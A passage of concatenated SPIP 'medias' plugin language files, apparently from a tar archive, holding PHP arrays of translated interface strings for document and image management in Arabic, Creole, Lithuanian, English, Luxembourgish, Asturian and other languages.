'document_attache_succes' => 'لقد تمت فعلاً إضافة المستند',
'document_copie_locale_succes' => 'لقد تم فعلاً نسخ الملف في الموقع',
'document_installe_succes' => 'لقد تم فعلاً تحميل الملف',
'document_vu' => 'مدرج في النص',
'documents' => 'مكتبة المستندات',
'documents_brises' => 'رابط مكسور',
'documents_distants' => 'بعيدة',
'documents_locaux' => 'محلية',
'documents_non_publies' => 'غير منشورة',
'documents_orphelins' => 'غير مستخدمة',
'documents_publies' => 'منشورة',
'documents_tous' => 'الكل',
'double_clic_inserer_doc' => 'النقر المزدوج لإدراج هذا الاختصار في النص',
// E
'entree_dimensions' => 'الحجم:',
'entree_titre_document' => 'اسم المستند:',
'entree_titre_image' => 'اسم الصورة:',
'erreur_aucun_document' => 'لا وجود لهذا المستند في المكتبة',
'erreur_aucun_fichier' => 'لم يتم العثور على أي ملف',
'erreur_chemin_distant' => 'لم يتم العثور على الملف البعيد @nom@',
'erreur_chemin_ftp' => 'لم يتم العثور على الملف المحدد في الخادم',
'erreur_copie_fichier' => 'لا يمكن نسخ الملف @nom@',
'erreur_dossier_tmp_manquant' => 'مجلد مؤقت لتحميل الملفات غير موجود',
'erreur_ecriture_fichier' => 'حصل خطأ خلال كتابة الملف على القرص الثابت',
'erreur_format_fichier_image' => 'لا يناسب تنسيق @nom@ ملف صورة',
'erreur_indiquez_un_fichier' => 'تحديد ملف!',
'erreur_insertion_document_base' => 'لا يمكن تسجيل المستند @fichier@ في قاعدة البيانات',
'erreur_suppression_vignette' => 'حصل خطأ لدى حذف المصغر',
'erreur_upload_type_interdit' => 'تحميل ملفات من نوع @nom@ غير مسموح',
'erreur_upload_vignette' => 'خطأ خلال تحميل المصغر @nom@',
'erreurs' => '@nb@ خطأ',
'erreurs_voir' => 'عرض @nb@ خطأ',
// F
'fichier_distant' => 'ملف بعيد',
'fichier_manquant' => 'ملف غير موجود',
'fichier_modifie' => 'تم تعديل هذا المستند. أنقر على حفظ.',
'format_date_incorrect' => 'التاريخ او الوقت غير صحيحين',
// I
'icone_creer_document' => 'إضافة مستند',
'id' => 'رقم',
'image_tourner_180' => 'دوران 180°',
'image_tourner_droite' => 'دوران 90° يمين',
'image_tourner_gauche' => 'دوران 90° يسار',
'info_doc_max_poids' => 'يحب ان يكون حجم المستندات أقل من @maxi@ (حجم هذا الملف يبلغ @actuel@).',
'info_document' => 'المستند',
'info_document_indisponible' => 'هذا المستند غير متوافر',
'info_documents' => 'المستندات',
'info_gauche_numero_document' => 'مستند رقم',
'info_hauteur' => 'ارتفاع',
'info_heure' => 'الساعة',
'info_illustrations' => 'الرسوم التوضيحية',
'info_image_max_poids' => 'يحب ان يكون حجم الصور أقل من @maxi@ (حجم هذا الملف يبلغ @actuel@).',
'info_inclusion_directe' => 'ضم مباشر:',
'info_inclusion_vignette' => 'ضم المصغر:',
'info_installer_tous_documents' => 'تثبيت كل المستندات',
'info_largeur' => 'عرض',
'info_logo_max_taille' => 'يجب ألا يتعدى حجم الرموز @maxi@ (يبلغ حجم الملف الحالي @actuel@). ',
'info_modifier_document' => 'تعديل المستند',
'info_portfolio' => 'صالة العرض',
'info_referencer_doc_distant' => 'تبويب مستند على شبكة انترنت:',
'info_sans_vignette' => 'بدون مصغر',
'info_statut_document' => 'هذا المستند:',
'info_telecharger' => 'تحميل من جهازك:',
'infos' => 'معلومات تقنية',
'item_autoriser_selectionner_date_en_ligne' => 'السماح بتعديل تاريخ كل مستند',
'item_non_autoriser_selectionner_date_en_ligne' => 'تاريخ المستندات هو تاريخ تحميلهم في الموقع',
// L
'label_activer_document_objets' => 'تفعيل التنزيل في المحتوى:',
'label_apercu' => 'معاينة',
'label_caracteristiques' => 'المواصفات',
'label_credits' => 'الحقوق',
'label_fichier' => 'ملف',
'label_fichier_vignette' => 'مصغر',
'label_paginer_par' => 'تصفح حسب:',
'label_parents' => 'هذا المستند مرتبط بـ',
'label_refdoc_joindre' => 'مستند رقم',
'lien_tout_enlever' => 'إزالة الكل',
'logo' => 'شعار',
// M
'media_audio' => 'شريط صوتي',
'media_file' => 'مستندات أخرى',
'media_image' => 'صور',
'media_video' => 'مقطع فيديو',
'miniature_automatique_active' => 'سيقوم SPIP يإنشاء مصغر من الصورة آلياً',
// N
'nb_documents_attache_succes' => 'تمت فعلاً إضافة @nb@ مستند',
'nb_documents_installe_succes' => 'تم تحميل @nb@ ملف بنجاح',
// O
'objet_document' => 'مستند',
'objet_documents' => 'مستندات',
// P
'par_date' => 'تاريخ',
'par_hauteur' => 'ارتفاع',
'par_id' => 'رقم',
'par_largeur' => 'عرض',
'par_taille' => 'حجم',
'par_titre' => 'عنوان',
// T
'texte_documents_joints' => 'يمكنك تفعيل واجهة إضافة مستندات (ملفات مكتبية، صور، وسائط متعددة، الخ.) الى المقالات والأقسام وغيرها. ويمكن حينها ادراج هذه الملفات في المقال او عرضها منفصلة.',
'texte_documents_joints_2' => 'هذا الإعداد لا يمنع تنزيل الصور في المقالات ولا إدراج المستندات مباشرة في نصوص المحتوى.',
'titre_documents_joints' => 'المستندات المرفقة',
'titre_page_documents_edit' => 'تعديل المستند: @titre@',
'tous_les_medias' => 'كل الوسائط',
'tout_dossier_upload' => 'كامل الدليل @upload@',
'tout_voir' => 'عرض الكل',
// U
'un_audio' => 'شريط صوتي واحد',
'un_document' => '1 مستند',
'un_file' => '1 مستند',
'un_image' => '1 صورة',
'un_video' => 'مقطع فيديو واحد',
'une_utilisation' => '1 استخدام',
'upload_fichier_zip' => 'ملف ZIP',
'upload_fichier_zip_texte' => 'الملف الذي تنوي تثبيته هو ملف ZIP.',
'upload_fichier_zip_texte2' => 'قد يكون هذا الملف:',
'upload_info_mode_document' => 'وضع في صالة العرض',
'upload_info_mode_image' => 'إزالة من صالة العرض',
'upload_limit' => 'هذا الملف كبير جداً لجهاز الخدمة. الحجم الاقصى المسموح به خلال <i>التحميل</i> هو @max@. ',
'upload_zip_conserver' => 'الحفاظ على الملف المضغوط بعد سحب المحتوى',
'upload_zip_decompacter' => 'غير مضغوط و كل عنصر يحتويه مثبت في الموقع. الملفات التي سيتم تثبيتها في الموقع هي:',
'upload_zip_mode_document' => 'وضع كل الصور في صالة العرض',
'upload_zip_telquel' => 'مثبت كما هو على شكل ملف ZIP مضغوط.',
'upload_zip_titrer' => 'عنونة حسب اسماء الملفات',
// V
'verifier_documents_brises' => 'التدقيق في الملفات المفقودة',
'verifier_documents_inutilises' => 'التدقيق في روابط المستندات',
'vignette_supprimee' => 'تم حذف المصغر'
);
?>
medias_cpf.php 0000666 00000004633 15252255273 0007371 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'AZOUT INN DOKIMAN', # MODIF
'bouton_ajouter_image' => 'AZOUT INN ZIMAZ', # MODIF
'bouton_ajouter_image_document' => 'Azout’ in zimaz ou in dokiman',
// D
'double_clic_inserer_doc' => 'Fè in doub-klik pou mèt rédiyon-la andan out tèks ',
// E
'entree_dimensions' => 'Kouk sa lé gran :',
'entree_titre_document' => 'Lo non lo dokiman :',
'entree_titre_image' => 'Lo nond limaz :',
// I
'image_tourner_180' => 'Touné 180°',
'image_tourner_droite' => 'touné drwat 90° ',
'image_tourner_gauche' => 'Touné goch 90° ',
'info_document' => 'Dokiman',
'info_documents' => 'Bann dokiman',
'info_inclusion_directe' => 'Linklizyon dirèk :',
'info_inclusion_vignette' => 'Linklizyon limaz-minyatir :',
'info_installer_tous_documents' => 'Instal tout bann dokiman-minm',
'info_logo_max_taille' => 'Fok out bann logo nena inn tay andsou @maxi@ (fichye la li fé @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Pou référansé in dokiman-déor si lintènèt :',
'info_telecharger' => 'Télésarz dopwi out prop lordinatèr :',
// T
'texte_documents_joints' => 'Ou pé permèt azouté tout bann dokiman dann bann zartik èk bann rubrik (dokiman i pé èt pou sa : fisyé birotik, zimaz,
zéléman miltimédia, tousala...). Bann fisyé-la, ou pé answit référans azot dann zinn lartik, oubyinsa afis azot sil koté.<p>', # MODIF
'texte_documents_joints_2' => 'Réglaz-la i afront pa d-mèt bann zimaz dann bann zartik.', # MODIF
'titre_documents_joints' => 'Bann dokiman zwinn',
'tout_dossier_upload' => 'Tout dosyé konplé la @upload@',
// U
'upload_fichier_zip' => 'Fisyé ZIP',
'upload_fichier_zip_texte' => 'Fisyé-là sak ou vé instalé lé inn fisyé Zip.',
'upload_fichier_zip_texte2' => 'Fisyé-la lé pitèt :',
'upload_limit' => 'Fisyé-l li lé tro gro pou lo sèrvèr ; pli gran tay lé posib <i>upload</i> sa lé @max@.',
'upload_zip_decompacter' => 'dékopresé é sakinn zéléman ali sré pou instalé si lo sit. Tout bann fisyé pou instal i sra lor :',
'upload_zip_telquel' => 'instalé komsa kom in larsiv kopresé Zip ;'
);
?>
paquet-medias_sk.php 0000666 00000000642 15252255273 0010527 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Správa multimédií v SPIPe',
'medias_slogan' => 'Správa multimédií v SPIPe'
);
?>
medias_lt.php 0000666 00000002626 15252255273 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=lt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'ĮTERPTI DOKUMENTĄ', # MODIF
'bouton_ajouter_image' => 'ĮTERPTI NUOTRAUKĄ', # MODIF
// E
'entree_titre_document' => 'Dokumento pavadinimas :',
'entree_titre_image' => 'Paveiksliuko pavadinimas :',
// I
'image_tourner_180' => '180° rotacija',
'image_tourner_droite' => '90° rotacija į dešinę',
'image_tourner_gauche' => '90° rotacija į kairę',
'info_document' => 'Dokumentas',
'info_documents' => 'Dokumentai',
'info_inclusion_directe' => 'Tiesioginis įterpimas:',
'info_installer_tous_documents' => 'Įterpti visus dokumentus',
'info_logo_max_taille' => 'Logo būtinai turi būti mažiau nei @maxi@ (šis failas sudaro @actuel@).',
'info_telecharger' => 'Atsiųsti iš jūsų kompiuterio:',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
// U
'upload_fichier_zip' => 'ZIP failas',
'upload_fichier_zip_texte2' => 'Gal būt šis failas'
);
?>
paquet-medias_pt_br.php 0000666 00000000655 15252255273 0011224 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gerenciamento de mídias do SPIP',
'medias_slogan' => 'Gerenciamento de mídias do SPIP'
);
?>
medias_en.php 0000666 00000020240 15252255273 0007213 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'No sound',
'aucun_document' => 'No document',
'aucun_file' => 'No document',
'aucun_image' => 'No image',
'aucun_video' => 'No video',
'aucune_utilisation' => 'This document isn’t used.',
'aucune_vignette' => 'No thumbnail',
// B
'bouton_ajouter_document' => 'Add a document',
'bouton_ajouter_image' => 'Add an image',
'bouton_ajouter_image_document' => 'Add an image or a document',
'bouton_attacher_document' => 'Attach',
'bouton_copier_local' => 'Copy on the site',
'bouton_download_depuis' => 'from:',
'bouton_download_local' => 'my computer',
'bouton_download_par_ftp' => 'the server',
'bouton_download_par_mediatheque' => 'media library',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Unlink',
'bouton_enlever_supprimer_document' => 'Delete',
'bouton_enlever_supprimer_document_confirmation' => 'Are you sure you want to delete the document?',
'bouton_modifier_document' => 'Modify',
'bouton_parcourir' => 'Browse...',
'bouton_refresh_document' => 'Refresh document',
'bouton_remplacer_document' => 'Replace this document',
'bouton_remplacer_image' => 'Replace this image',
'bouton_remplacer_image_document' => 'Replace by an image or a document',
'bouton_supprimer' => 'Delete',
'bouton_supprimer_tous_orphelins' => 'Delete all unused',
'bouton_supprimer_tous_orphelins_confirmation' => 'Do you really want to delete @nb@ orphans documents?',
'bouton_upload' => 'Upload',
// D
'des_audios' => '@nb@ sounds',
'des_documents' => '@nb@ documents',
'des_files' => '@nb@ documents',
'des_images' => '@nb@ images',
'des_utilisations' => '@nb@ uses',
'des_videos' => '@nb@ videos',
'descriptif' => 'Description',
'document_attache_succes' => 'The document was successfully added',
'document_copie_locale_succes' => 'The file was successfully copied to the site',
'document_installe_succes' => 'The file was successfully uploaded',
'document_vu' => 'Inserted in text',
'documents' => 'Media library',
'documents_brises' => 'Broken',
'documents_distants' => 'Remote',
'documents_locaux' => 'Local',
'documents_non_publies' => 'Unpublished',
'documents_orphelins' => 'Unused',
'documents_publies' => 'Published',
'documents_tous' => 'All',
'double_clic_inserer_doc' => 'Double-click to insert this shortcut in the text',
// E
'entree_dimensions' => 'Size:',
'entree_titre_document' => 'Document title:',
'entree_titre_image' => 'Image title:',
'erreur_aucun_document' => 'This document doesn’t exist in the media library',
'erreur_aucun_fichier' => 'No file was found',
'erreur_chemin_distant' => 'The remote file @nom@ could not be found',
'erreur_chemin_ftp' => 'The specified file was not found on the server',
'erreur_copie_fichier' => 'Unable to copy the file @nom@',
'erreur_dossier_tmp_manquant' => 'A temporrary folder is missing to download the files',
'erreur_ecriture_fichier' => 'Error writing the file to disk',
'erreur_format_fichier_image' => 'The format of @nom@ is not suitable for an image',
'erreur_indiquez_un_fichier' => 'Specify a file!',
'erreur_insertion_document_base' => 'Unable to save the document @fichier@ in the database',
'erreur_suppression_vignette' => 'Error when deleting the thumbnail',
'erreur_upload_type_interdit' => 'Uploading files of type @nom@ is not allowed',
'erreur_upload_vignette' => 'Error loading thumbnail @nom@',
'erreurs' => '@nb@ errors',
'erreurs_voir' => 'See the @nb@ errors',
// F
'fichier_distant' => 'Remote file',
'fichier_manquant' => 'File missing',
'fichier_modifie' => 'The file has been modified. Click the save button.',
'format_date_incorrect' => 'The date or time are incorrect',
// I
'icone_creer_document' => 'Add a document',
'id' => 'ID',
'image_tourner_180' => 'Rotate 180°',
'image_tourner_droite' => 'Rotate 90° right',
'image_tourner_gauche' => 'Rotate 90° left',
'info_doc_max_poids' => 'Documents must necessarily be less than @maxi@ (this file is @actuel@).',
'info_document' => 'Document',
'info_document_indisponible' => 'This document is not available',
'info_documents' => 'Documents',
'info_gauche_numero_document' => 'DOCUMENT NUMBER',
'info_hauteur' => 'Height',
'info_heure' => 'Time',
'info_illustrations' => 'Illustrations',
'info_image_max_poids' => 'Images must necessarily be less than @maxi@ (this file is @actuel@).',
'info_inclusion_directe' => 'Direct inclusion:',
'info_inclusion_vignette' => 'Include vignette:',
'info_installer_tous_documents' => 'Install all the documents',
'info_largeur' => 'Width',
'info_logo_max_taille' => 'Logos must be less than @maxi@ (this file is @actuel@).',
'info_modifier_document' => 'Modify the document',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Reference a document on Internet:',
'info_sans_vignette' => 'Without thumbnail',
'info_statut_document' => 'This document is:',
'info_telecharger' => 'Upload from your computer:',
'infos' => 'Technical infos',
'item_autoriser_selectionner_date_en_ligne' => 'Allow changes to the date of each document',
'item_non_autoriser_selectionner_date_en_ligne' => 'The date of a document is the day it was added to the site',
// L
'label_activer_document_objets' => 'Enable the upload of documents for the contents:',
'label_apercu' => 'Preview',
'label_caracteristiques' => 'Specifications',
'label_credits' => 'Credits',
'label_fichier' => 'File',
'label_fichier_vignette' => 'Thumbnail',
'label_paginer_par' => 'Paginate by:',
'label_parents' => 'This document is linked to',
'label_refdoc_joindre' => 'Document number',
'lien_tout_enlever' => 'Remove all',
'logo' => 'Logo',
// M
'media_audio' => 'Sounds',
'media_file' => 'Other',
'media_image' => 'Images',
'media_video' => 'Videos',
'miniature_automatique_active' => 'SPIP will automatically create a thumbnail of the image',
// N
'nb_documents_attache_succes' => '@nb@ documents have been added',
'nb_documents_installe_succes' => '@nb@ files successfully uploaded',
// O
'objet_document' => 'Document',
'objet_documents' => 'Documents',
// P
'par_date' => 'Date',
'par_hauteur' => 'Height',
'par_id' => 'ID',
'par_largeur' => 'Width',
'par_taille' => 'Weight',
'par_titre' => 'Title',
// T
'texte_documents_joints' => 'You can enable the interface to add documents (office files, images, multimedia, etc.) to articles, sections and so on. These files may then be referenced in the texts or displayed separately.',
'texte_documents_joints_2' => 'This setting does not prevent the upload of images to the articles neither the direct inclusion of documents in the texts of the contents.',
'titre_documents_joints' => 'Attached documents',
'titre_page_documents_edit' => 'Edit the document: @titre@',
'tous_les_medias' => 'All media',
'tout_dossier_upload' => 'The whole @upload@ directory',
'tout_voir' => 'Show all',
// U
'un_audio' => '1 sound',
'un_document' => '1 document',
'un_file' => '1 document',
'un_image' => '1 image',
'un_video' => '1 video',
'une_utilisation' => '1 use',
'upload_fichier_zip' => 'ZIP file',
'upload_fichier_zip_texte' => 'The file you are intending to install is a ZIP file.',
'upload_fichier_zip_texte2' => 'This file can be:',
'upload_info_mode_document' => 'Send to portfolio',
'upload_info_mode_image' => 'Remove from portfolio',
'upload_limit' => 'This file is too big for the server; the maximum size allowed for <i>upload</i> is @max@.',
'upload_zip_conserver' => 'Keep the archive file after extracting its contents',
'upload_zip_decompacter' => 'decompressed and each file it contains will be installed on the site. The files which will be installed are:',
'upload_zip_mode_document' => 'Place all images in the portfolio',
'upload_zip_telquel' => 'installed as is, as a ZIP file;',
'upload_zip_titrer' => 'Add titles according to the filenames',
// V
'verifier_documents_brises' => 'Check missing files',
'verifier_documents_inutilises' => 'Check for documents links',
'vignette_supprimee' => 'The thumbnail has been deleted'
);
?>
paquet-medias_nl.php 0000666 00000000657 15252255273 0010531 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Beheer van de medias in SPIP',
'medias_slogan' => 'Beheer van de digitale documenten in SPIP'
);
?>
medias_lb.php 0000666 00000021340 15252255273 0007210 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Keng Tounspur',
'aucun_document' => 'Keen Dokument',
'aucun_file' => 'Kee Dokument',
'aucun_image' => 'Kee Bild',
'aucun_video' => 'Kéng Sequenz',
'aucune_utilisation' => 'Dëst Dokument gëtt net benotzt',
'aucune_vignette' => 'Keng Vignette',
// B
'bouton_ajouter_document' => 'Dokument derbäi setzen',
'bouton_ajouter_image' => 'Bild derbäi setzen',
'bouton_ajouter_image_document' => 'E Bild oder en Dokument derbäi setzen',
'bouton_attacher_document' => 'Unhänken',
'bouton_copier_local' => 'Op de Site kopéieren',
'bouton_download_depuis' => 'zënter:',
'bouton_download_local' => 'mäi Computer',
'bouton_download_par_ftp' => 'de Server',
'bouton_download_par_mediatheque' => 'd’Mediathéik',
'bouton_download_sur_le_web' => 'Internet',
'bouton_enlever_document' => 'Lassmaachen',
'bouton_enlever_supprimer_document' => 'Läschen',
'bouton_enlever_supprimer_document_confirmation' => 'Soll dëst Dokument wierklech geläscht ginn?',
'bouton_modifier_document' => 'Änneren',
'bouton_parcourir' => 'Driwwer kucken...',
'bouton_refresh_document' => 'Dokument nei lueden',
'bouton_remplacer_document' => 'Dokument ersetzen',
'bouton_remplacer_image' => 'Bild ersetzen',
'bouton_remplacer_image_document' => 'Duerch e Bild oder Dokument ersetzen',
'bouton_supprimer' => 'Läschen',
'bouton_supprimer_tous_orphelins' => 'All d’Weesekanner läschen',
'bouton_supprimer_tous_orphelins_confirmation' => 'Sollen déi @nb@ Weesekanner wierklech geläscht ginn?',
'bouton_upload' => 'Eroplueden',
// D
'des_audios' => '@nb@ Tounspuren',
'des_documents' => '@nb@ Dokumenter',
'des_files' => '@nb@ Dokumenter',
'des_images' => '@nb@ Biller',
'des_utilisations' => '@nb@ Uwennungen',
'des_videos' => '@nb@ Sequenzen',
'descriptif' => 'Beschreiwung',
'document_attache_succes' => 'D’Dokument gouf bäigefléckt',
'document_copie_locale_succes' => 'De Fichier gouf op de Site kopéiert',
'document_installe_succes' => 'De Fichier gouf gelueden',
'document_vu' => 'An den Text agesat',
'documents' => 'Dokumenter',
'documents_brises' => 'Futti',
'documents_distants' => 'Distant',
'documents_locaux' => 'Lokal',
'documents_non_publies' => 'Net verëffentlecht',
'documents_orphelins' => 'Net benotzt',
'documents_publies' => 'Verëffentlecht',
'documents_tous' => 'All',
'double_clic_inserer_doc' => 'Duebel-Klick fir dës Ofkirzung an den Text ze iwerhuelen',
// E
'entree_dimensions' => 'Gréissten:',
'entree_titre_document' => 'Titel vum Dokument:',
'entree_titre_image' => 'Titel vum Bild:',
'erreur_aucun_document' => 'Dëst Dokument existéiert net an der Mediathéik',
'erreur_aucun_fichier' => 'Et gouf kee Fichier fonnt',
'erreur_chemin_distant' => 'Den distante Fichier @nom@ gouf net fonnt',
'erreur_chemin_ftp' => 'Dee Fichier gouf nët um Server fonnt',
'erreur_copie_fichier' => 'Onméiglech de Fichier @nom@ déi richteg Plaz ze kopéieren',
'erreur_dossier_tmp_manquant' => 'E provisoreschen Dossier fir d’Fichier’en eropzeluede feelt',
'erreur_ecriture_fichier' => 'Fehler beim Schreiwe vum Fichier op den Disk',
'erreur_format_fichier_image' => 'De Format vu @nom@ ass kee Bild-Format',
'erreur_indiquez_un_fichier' => 'Wielt e Fichier aus!',
'erreur_insertion_document_base' => 'Onméiglech d’Dokument @fichier@ an der Datebank ze späicheren',
'erreur_suppression_vignette' => 'Fehler beim Läsche vun der Vignette',
'erreur_upload_type_interdit' => 'D’Eropluede vu Fichier vum Typ @nom@ ass net erlaabt',
'erreur_upload_vignette' => 'Fehler beim Eropluede vun der Vignette @nom@',
'erreurs' => '@nb@ Fehler',
'erreurs_voir' => '@nb@ Fehler weisen',
// F
'fichier_distant' => 'Distante Fichier',
'fichier_manquant' => 'Fichier feelt',
'fichier_modifie' => 'De Fichier gouf geännert. Klickt fir ze späicheren.',
'format_date_incorrect' => 'Datum oder Zäit si falsch',
// I
'icone_creer_document' => 'Dokument bäiflécken',
'id' => 'ID',
'image_tourner_180' => '180° dréien',
'image_tourner_droite' => '90° no riets dréien',
'image_tourner_gauche' => '90° no lénks dréien',
'info_doc_max_poids' => 'D’Maximalgréisst vun den Dokumenter ass @maxi@ (dëse Fichier huet @actuel@).',
'info_document' => 'Dokument',
'info_document_indisponible' => 'Dëst Dokument gëtt ët nët',
'info_documents' => 'Dokumenter',
'info_gauche_numero_document' => 'Dokument Nummer',
'info_hauteur' => 'Héicht',
'info_heure' => 'Zäit',
'info_illustrations' => 'Illustratiounen',
'info_image_max_poids' => 'D’Maximalgréisst vun de Biller ass @maxi@ (dëse Fichier huet @actuel@).',
'info_inclusion_directe' => 'Direkt Abannung:',
'info_inclusion_vignette' => 'Ubannen vun der Vignette:',
'info_installer_tous_documents' => 'All d’Dokumenter eroplueden',
'info_largeur' => 'Breet',
'info_logo_max_taille' => 'D’Logoen mussen manner wéi @maxi@ hun (dëse Fichier huet @actuel@).',
'info_modifier_document' => 'Dokument änneren',
'info_portfolio' => 'Portefeuille',
'info_referencer_doc_distant' => 'En Dokument vum Internet referenzéieren:',
'info_sans_vignette' => 'Ouni Vignette',
'info_statut_document' => 'Dëst Dokument ass:',
'info_telecharger' => 'Vun ärem Computer eroplueden:',
'infos' => 'Eng Info fir all d’Rubrike weisen (wann dir verschidden Informatioune wëllt, da benotzt d’Beschreiwung).',
'item_autoriser_selectionner_date_en_ligne' => 'Erlaaben den Datum vun all Dokument ze änneren',
'item_non_autoriser_selectionner_date_en_ligne' => 'Den Datum vun den Dokumenter ass deen wéini së op de Site gesaat goufen',
// L
'label_activer_document_objets' => 'D’Eropluede vir dës Inhalter aschalten:',
'label_apercu' => 'Iwwersiicht',
'label_caracteristiques' => 'Charakteristik',
'label_credits' => 'Krediter',
'label_fichier' => 'Fichier',
'label_fichier_vignette' => 'Vignette',
'label_paginer_par' => 'Pro Säit:',
'label_parents' => 'Dëst Dokument ass verlinkt mat',
'label_refdoc_joindre' => 'Dokument Nummer',
'lien_tout_enlever' => 'Alles ewech huelen',
'logo' => 'Logo',
// M
'media_audio' => 'Tounpisten',
'media_file' => 'Anerer',
'media_image' => 'Biller',
'media_video' => 'Sequenzen',
'miniature_automatique_active' => 'SPIP erstellt automatesch eng Miniatur vum Bild',
// N
'nb_documents_attache_succes' => '@nb@ Dokumenter goufe bäigefléckt',
'nb_documents_installe_succes' => '@nb@ Fichier’en gelueden',
// O
'objet_document' => 'Dokument',
'objet_documents' => 'Dokumenter',
// P
'par_date' => 'no Datum',
'par_hauteur' => 'Héicht',
'par_id' => 'ID',
'par_largeur' => 'Breet',
'par_taille' => 'Gewiicht',
'par_titre' => 'No Titel',
// T
'texte_documents_joints' => 'Dir kënnt en Interface aschalten fir Dokumenter (Fichier’en, Biller, Multimedia, asw) bei Artikelen, Rubriken oder aner Elementer bäi ze setzen. Dës Fichier’en kënnen dann am Artikel verlinkt oder separat ugewisen ginn.',
'texte_documents_joints_2' => 'Dës Astellung verhënnert net Biller oder Dokumenter direkt an den Text derbäi ze setzen.',
'titre_documents_joints' => 'Gelinkten Dokumenter',
'titre_page_documents_edit' => 'Dokument änneren: @titre@',
'tous_les_medias' => 'All Medien',
'tout_dossier_upload' => 'De ganzen Dossier @upload@',
'tout_voir' => 'Alles weisen',
// U
'un_audio' => '1 Tounpist',
'un_document' => '1 Dokument',
'un_file' => '1 Dokument',
'un_image' => '1 Bild',
'un_video' => '1 Sequenz',
'une_utilisation' => '1 mol benotzt',
'upload_fichier_zip' => 'ZIP-Fichier',
'upload_fichier_zip_texte' => 'De Fichier deen dër installéieren wëllt ass en Zip-Fichier.',
'upload_fichier_zip_texte2' => 'Dëse Fichier ka sinn:',
'upload_info_mode_document' => 'Dëst Bild an de Portefeuille setzen',
'upload_info_mode_image' => 'Dëst Bild aus dem Portefeuille eraushuelen',
'upload_limit' => 'Dëse Fichier ass ze grouss fir de Server; déi maximal Gréisst fir <i>eropzelueden</i> ass @max@.',
'upload_zip_conserver' => 'Archiv no der Extraktioun halen',
'upload_zip_decompacter' => 'de-kompriméiert an all Element um Site installéiert. D’Fichier’en déi dann um Site installéiert ginn sinn:',
'upload_zip_mode_document' => 'All d’Biller an de Portefeuille setzen',
'upload_zip_telquel' => 'esou wéi en ass, als kompriméierten Zip-Archiv installéiert;',
'upload_zip_titrer' => 'Titel ginn baséiert um Numm vum Fichier',
// V
'verifier_documents_brises' => 'D’Fichier’en déi feele kontrolléieren',
'verifier_documents_inutilises' => 'D’Linke vun den Dokumenter kontrolléieren',
'vignette_supprimee' => 'D’Vignette gouf geläscht'
);
?>
medias_ast.php 0000666 00000005432 15252255273 0007406 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Amestar un documentu',
'bouton_ajouter_image' => 'Amestar una imaxe',
'bouton_ajouter_image_document' => 'Amestar una imaxe o un documentu',
// D
'double_clic_inserer_doc' => 'Fai doble-clic pa amestar esti atayu al testu',
// E
'entree_dimensions' => 'Dimensiones:',
'entree_titre_document' => 'Títulu del documentu:',
'entree_titre_image' => 'Títulu de la imaxe:',
// I
'image_tourner_180' => 'Voltiar 180°',
'image_tourner_droite' => 'Voltiar 90° a la derecha',
'image_tourner_gauche' => 'Voltiar 90° a la izquierda',
'info_document' => 'Documentu',
'info_document_indisponible' => 'Esti documentu nun ta disponible',
'info_documents' => 'Documentos',
'info_inclusion_directe' => 'Inclusión direuta:',
'info_inclusion_vignette' => 'Inclusión de la viñeta:',
'info_installer_tous_documents' => 'Instalar tolos documentos',
'info_logo_max_taille' => 'Los logos han tener obligatoriamente menos de @maxi@ (el ficheru tien @actuel@).',
'info_portfolio' => 'Maletu',
'info_referencer_doc_distant' => 'Referenciar un documentu de Internet:',
'info_telecharger' => 'Subir dende’l to ordenador:',
'item_autoriser_selectionner_date_en_ligne' => 'Permitir el cambéu de fecha de los documentos',
'item_non_autoriser_selectionner_date_en_ligne' => 'La fecha de los documentos ye la de puesta n’esti sitiu',
// T
